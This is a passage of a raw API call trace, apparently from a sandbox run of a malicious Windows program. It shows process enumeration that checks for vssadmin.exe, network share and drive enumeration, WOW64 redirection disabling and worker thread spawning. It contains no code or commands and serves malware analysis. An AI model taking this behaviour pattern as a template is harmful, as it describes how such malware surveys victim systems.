th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0095.264] lstrlenW (lpString="vssadmin.exe") returned 12 [0095.264] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0095.265] lstrlenW (lpString="VSSVC.exe") returned 9 [0095.265] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.265] lstrlenW (lpString="svchost.exe") returned 11 [0095.265] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.266] lstrlenW (lpString="svchost.exe") returned 11 [0095.266] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0095.267] lstrlenW (lpString="LogonUI.exe") returned 11 [0095.267] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0095.267] CloseHandle (hObject=0x204) returned 1 [0095.267] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xc0 [0063.570] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0063.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x604a30 | out: hHeap=0x5d0000) returned 1 Thread: id = 6 os_tid = 0x534 [0063.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0063.573] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x605b10 [0063.573] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b10, Size=0x40) returned 0x606b58 [0063.573] GetLogicalDrives () returned 0x4 [0063.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d438 [0063.575] GetComputerNameW (in: lpBuffer=0x62d43c, nSize=0x236ff6c | out: lpBuffer="XDUWTFONO", nSize=0x236ff6c) returned 1 [0063.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x621268 [0063.577] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x236ff3c | out: lphEnum=0x236ff3c*=0x6060c0) returned 0x0 [0063.578] WNetEnumResourceW (in: hEnum=0x6060c0, lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40 | out: lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40) returned 0x103 [0063.578] WNetCloseEnum (hEnum=0x6060c0) returned 0x0 [0063.579] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x236ff3c | out: lphEnum=0x236ff3c*=0x6227d0) returned 0x0 [0068.647] WNetEnumResourceW (in: hEnum=0x6227d0, lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40 | out: lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40) returned 0x0 [0068.647] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x627238 [0068.647] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x621268, lphEnum=0x236ff10 | out: lphEnum=0x236ff10*=0x606360) returned 0x0 [0068.736] WNetEnumResourceW (in: hEnum=0x606360, lpcCount=0x236ff0c, lpBuffer=0x627238, lpBufferSize=0x236ff14 | out: lpcCount=0x236ff0c, lpBuffer=0x627238, lpBufferSize=0x236ff14) returned 0x103 [0068.736] WNetCloseEnum (hEnum=0x606360) returned 0x0 [0068.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x6c22c0 [0068.736] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x621288, lphEnum=0x236ff10 | out: lphEnum=0x236ff10*=0x0) returned 0x4b8 [0089.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x3ee7008 [0089.773] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6212a8, lphEnum=0x236ff10 | out: lphEnum=0x236ff10*=0x0) returned 0x4c6 [0089.785] WNetEnumResourceW (in: hEnum=0x6227d0, lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40 | out: lpcCount=0x236ff38, lpBuffer=0x621268, lpBufferSize=0x236ff40) returned 0x103 [0089.785] WNetCloseEnum (hEnum=0x6227d0) returned 0x0 [0089.785] GetLogicalDrives () returned 0x4 [0089.786] Sleep (dwMilliseconds=0x64) [0090.178] GetLogicalDrives () returned 0x4 [0090.179] Sleep (dwMilliseconds=0x64) [0090.830] GetLogicalDrives () returned 0x4 [0090.830] Sleep (dwMilliseconds=0x64) [0090.999] GetLogicalDrives () returned 0x4 [0090.999] Sleep (dwMilliseconds=0x64) [0091.623] GetLogicalDrives () returned 0x4 [0091.624] Sleep (dwMilliseconds=0x64) [0092.866] GetLogicalDrives () returned 0x4 [0092.866] Sleep (dwMilliseconds=0x64) [0093.348] GetLogicalDrives () returned 0x4 [0093.348] Sleep (dwMilliseconds=0x64) [0093.741] GetLogicalDrives () returned 0x4 [0093.742] Sleep (dwMilliseconds=0x64) [0093.929] GetLogicalDrives () returned 0x4 [0093.929] Sleep (dwMilliseconds=0x64) [0094.447] GetLogicalDrives () returned 0x4 [0094.447] Sleep (dwMilliseconds=0x64) [0095.018] GetLogicalDrives () returned 0x4 [0095.018] Sleep (dwMilliseconds=0x64) [0095.184] GetLogicalDrives () returned 0x4 [0095.184] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x70c [0068.636] GetTickCount () returned 0x114780d [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x6227a0 [0068.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6227a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0068.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6227a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0068.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6227a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0068.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6227a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0068.642] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fdd0 [0068.642] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fdd0, Size=0x20) returned 0x6248b0 [0068.642] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fdd0 [0068.643] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fdd0, Size=0x20) returned 0x6248d8 [0068.643] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.643] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.644] Wow64DisableWow64FsRedirection (in: OldValue=0x222ff84 | out: OldValue=0x222ff84*=0x0) returned 1 [0068.644] lstrlenW (lpString="kernel32.dll") returned 12 [0068.644] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248b0 | out: hHeap=0x5d0000) returned 1 [0068.644] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.644] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248d8 | out: hHeap=0x5d0000) returned 1 [0068.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x60b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0068.646] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0068.912] GetTickCount () returned 0x11478a9 [0068.912] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.254] GetTickCount () returned 0x1147955 [0069.254] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.473] GetTickCount () returned 0x1147a2f [0069.474] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.598] GetTickCount () returned 0x1147aac [0069.599] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.862] GetTickCount () returned 0x1147b39 [0069.862] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0069.984] GetTickCount () returned 0x1147bb5 [0069.984] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0070.101] GetTickCount () returned 0x1147c23 [0070.101] GetTickCount () returned 0x1147c23 [0070.101] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0070.205] GetTickCount () returned 0x1147c90 [0070.206] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0070.676] GetTickCount () returned 0x1147e64 [0070.676] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0071.119] GetTickCount () returned 0x1147fbb [0071.119] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0071.291] GetTickCount () returned 0x1148076 [0071.291] GetTickCount () returned 0x1148076 [0071.291] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0072.150] GetTickCount () returned 0x1148305 [0072.150] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0072.762] GetTickCount () returned 0x1148566 [0072.762] GetTickCount () returned 0x1148566 [0072.762] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0073.170] GetTickCount () returned 0x11486fb [0073.170] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0073.361] GetTickCount () returned 0x11487b7 [0073.361] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0073.881] GetTickCount () returned 0x11489c9 [0073.881] GetTickCount () returned 0x11489c9 [0073.881] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0074.719] GetTickCount () returned 0x1148bdb [0074.719] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0075.083] GetTickCount () returned 0x1148d52 [0075.084] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0076.510] GetTickCount () returned 0x1148ef7 [0076.510] GetTickCount () returned 0x1148ef7 [0076.510] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0076.965] GetTickCount () returned 0x11490bc [0076.966] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0077.366] GetTickCount () returned 0x1149251 [0077.366] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0077.688] GetTickCount () returned 0x1149389 [0077.688] GetTickCount () returned 0x1149389 [0077.688] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0078.078] GetTickCount () returned 0x11494f0 [0078.078] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0078.454] GetTickCount () returned 0x1149666 [0078.454] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0078.873] GetTickCount () returned 0x114980c [0078.873] GetTickCount () returned 0x114980c [0078.873] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0079.538] GetTickCount () returned 0x1149a5c [0079.538] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0079.837] GetTickCount () returned 0x1149b85 [0079.837] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0080.133] GetTickCount () returned 0x1149cad [0080.133] GetTickCount () returned 0x1149cad [0080.133] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0080.529] GetTickCount () returned 0x1149e43 [0080.529] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0080.877] GetTickCount () returned 0x1149f9a [0080.877] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0081.433] GetTickCount () returned 0x114a1cc [0081.433] GetTickCount () returned 0x114a1cc [0081.433] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0081.885] GetTickCount () returned 0x114a361 [0081.885] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0082.062] GetTickCount () returned 0x114a40d [0082.062] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0082.260] GetTickCount () returned 0x114a4d8 [0082.260] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0082.844] GetTickCount () returned 0x114a719 [0082.844] GetTickCount () returned 0x114a719 [0082.844] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0083.334] GetTickCount () returned 0x114a8dd [0083.334] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0083.694] GetTickCount () returned 0x114aa25 [0083.694] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0084.040] GetTickCount () returned 0x114ab7c [0084.040] GetTickCount () returned 0x114ab7c [0084.040] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0084.266] GetTickCount () returned 0x114ac56 [0084.266] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0084.676] GetTickCount () returned 0x114adfc [0084.676] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0085.041] GetTickCount () returned 0x114af62 [0085.041] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0085.550] GetTickCount () returned 0x114b165 [0085.550] GetTickCount () returned 0x114b165 [0085.550] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0086.209] GetTickCount () returned 0x114b31a [0086.209] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0086.674] GetTickCount () returned 0x114b4b0 [0086.674] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0087.010] GetTickCount () returned 0x114b5f7 [0087.011] GetTickCount () returned 0x114b5f7 [0087.011] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0087.212] GetTickCount () returned 0x114b6c2 [0087.212] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0087.937] GetTickCount () returned 0x114b829 [0087.937] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0088.535] GetTickCount () returned 0x114b9de [0088.535] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0088.968] GetTickCount () returned 0x114bb54 [0088.968] GetTickCount () returned 0x114bb54 [0088.968] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0089.363] GetTickCount () returned 0x114bcda [0089.363] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0089.766] GetTickCount () returned 0x114be70 [0089.767] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0089.964] GetTickCount () returned 0x114bf2b [0089.965] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0090.236] GetTickCount () returned 0x114c044 [0090.236] GetTickCount () returned 0x114c044 [0090.236] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0090.831] GetTickCount () returned 0x114c285 [0090.831] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0090.999] GetTickCount () returned 0x114c330 [0090.999] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0091.624] GetTickCount () returned 0x114c572 [0091.624] GetTickCount () returned 0x114c572 [0091.624] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0092.867] GetTickCount () returned 0x114ca52 [0092.867] GetTickCount () returned 0x114ca52 [0092.867] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0093.348] GetTickCount () returned 0x114cbe7 [0093.348] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0093.742] GetTickCount () returned 0x114cd7d [0093.742] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0093.929] GetTickCount () returned 0x114ce28 [0093.929] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0094.448] GetTickCount () returned 0x114d02b [0094.448] GetTickCount () returned 0x114d02b [0094.448] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0095.018] GetTickCount () returned 0x114d25d [0095.018] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x102 [0095.184] GetTickCount () returned 0x114d308 [0095.184] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x7a0 [0068.662] GetTickCount () returned 0x114782d [0068.663] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x6283b0 [0068.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6283b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0068.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6283b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0068.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6283b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0068.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6283b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fde8 [0068.669] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fde8, Size=0x20) returned 0x624a40 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fde8 [0068.669] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fde8, Size=0x20) returned 0x624a68 [0068.670] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.670] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.670] Wow64DisableWow64FsRedirection (in: OldValue=0x28aff84 | out: OldValue=0x28aff84*=0x0) returned 1 [0068.670] lstrlenW (lpString="kernel32.dll") returned 12 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5d0000) returned 1 [0068.672] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.672] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a68 | out: hHeap=0x5d0000) returned 1 [0068.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x63d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164 [0068.674] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0068.916] GetTickCount () returned 0x11478a9 [0068.916] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0069.254] GetTickCount () returned 0x1147955 [0069.254] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0069.474] GetTickCount () returned 0x1147a2f [0069.474] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0069.599] GetTickCount () returned 0x1147aac [0069.599] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0069.862] GetTickCount () returned 0x1147b39 [0069.862] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0069.984] GetTickCount () returned 0x1147bb5 [0069.984] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0070.101] GetTickCount () returned 0x1147c23 [0070.101] GetTickCount () returned 0x1147c23 [0070.101] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0070.206] GetTickCount () returned 0x1147c90 [0070.206] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0070.676] GetTickCount () returned 0x1147e64 [0070.677] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0071.119] GetTickCount () returned 0x1147fbb [0071.119] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0071.292] GetTickCount () returned 0x1148076 [0071.292] GetTickCount () returned 0x1148076 [0071.292] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0072.150] GetTickCount () returned 0x1148305 [0072.150] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0072.762] GetTickCount () returned 0x1148566 [0072.762] GetTickCount () returned 0x1148566 [0072.762] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0073.170] GetTickCount () returned 0x11486fb [0073.170] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0073.361] GetTickCount () returned 0x11487b7 [0073.361] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0073.882] GetTickCount () returned 0x11489c9 [0073.882] GetTickCount () returned 0x11489c9 [0073.882] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0074.720] GetTickCount () returned 0x1148bdb [0074.720] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0075.084] GetTickCount () returned 0x1148d52 [0075.084] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0076.510] GetTickCount () returned 0x1148ef7 [0076.510] GetTickCount () returned 0x1148ef7 [0076.510] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0076.966] GetTickCount () returned 0x11490bc [0076.966] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0077.366] GetTickCount () returned 0x1149251 [0077.366] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0077.688] GetTickCount () returned 0x1149389 [0077.688] GetTickCount () returned 0x1149389 [0077.688] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0078.078] GetTickCount () returned 0x11494f0 [0078.078] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0078.454] GetTickCount () returned 0x1149666 [0078.454] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0078.873] GetTickCount () returned 0x114980c [0078.873] GetTickCount () returned 0x114980c [0078.873] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0079.539] GetTickCount () returned 0x1149a5c [0079.539] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0079.837] GetTickCount () returned 0x1149b85 [0079.837] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0080.133] GetTickCount () returned 0x1149cad [0080.133] GetTickCount () returned 0x1149cad [0080.133] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0080.530] GetTickCount () returned 0x1149e43 [0080.530] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0080.878] GetTickCount () returned 0x1149f9a [0080.878] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0081.434] GetTickCount () returned 0x114a1cc [0081.434] GetTickCount () returned 0x114a1cc [0081.434] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0081.885] GetTickCount () returned 0x114a361 [0081.885] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0082.063] GetTickCount () returned 0x114a40d [0082.063] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0082.261] GetTickCount () returned 0x114a4d8 [0082.261] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0082.845] GetTickCount () returned 0x114a719 [0082.845] GetTickCount () returned 0x114a719 [0082.845] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0083.334] GetTickCount () returned 0x114a8dd [0083.334] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0083.695] GetTickCount () returned 0x114aa25 [0083.695] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0084.040] GetTickCount () returned 0x114ab7c [0084.041] GetTickCount () returned 0x114ab7c [0084.041] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0084.266] GetTickCount () returned 0x114ac56 [0084.266] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0084.676] GetTickCount () returned 0x114adfc [0084.676] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0085.041] GetTickCount () returned 0x114af62 [0085.041] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0085.550] GetTickCount () returned 0x114b165 [0085.550] GetTickCount () returned 0x114b165 [0085.550] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0086.210] GetTickCount () returned 0x114b31a [0086.210] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0086.674] GetTickCount () returned 0x114b4b0 [0086.674] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0087.011] GetTickCount () returned 0x114b5f7 [0087.011] GetTickCount () returned 0x114b5f7 [0087.011] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0087.212] GetTickCount () returned 0x114b6c2 [0087.212] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0087.937] GetTickCount () returned 0x114b829 [0087.937] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0088.535] GetTickCount () returned 0x114b9de [0088.535] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0088.969] GetTickCount () returned 0x114bb54 [0088.969] GetTickCount () returned 0x114bb54 [0088.969] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0089.363] GetTickCount () returned 0x114bcda [0089.363] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0089.767] GetTickCount () returned 0x114be70 [0089.767] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0089.966] GetTickCount () returned 0x114bf3a [0089.966] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0090.236] GetTickCount () returned 0x114c044 [0090.237] GetTickCount () returned 0x114c044 [0090.237] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0090.831] GetTickCount () returned 0x114c285 [0090.831] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0090.999] GetTickCount () returned 0x114c330 [0091.000] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x64) returned 0x102 [0091.624] GetTickCount () returned 0x114c572 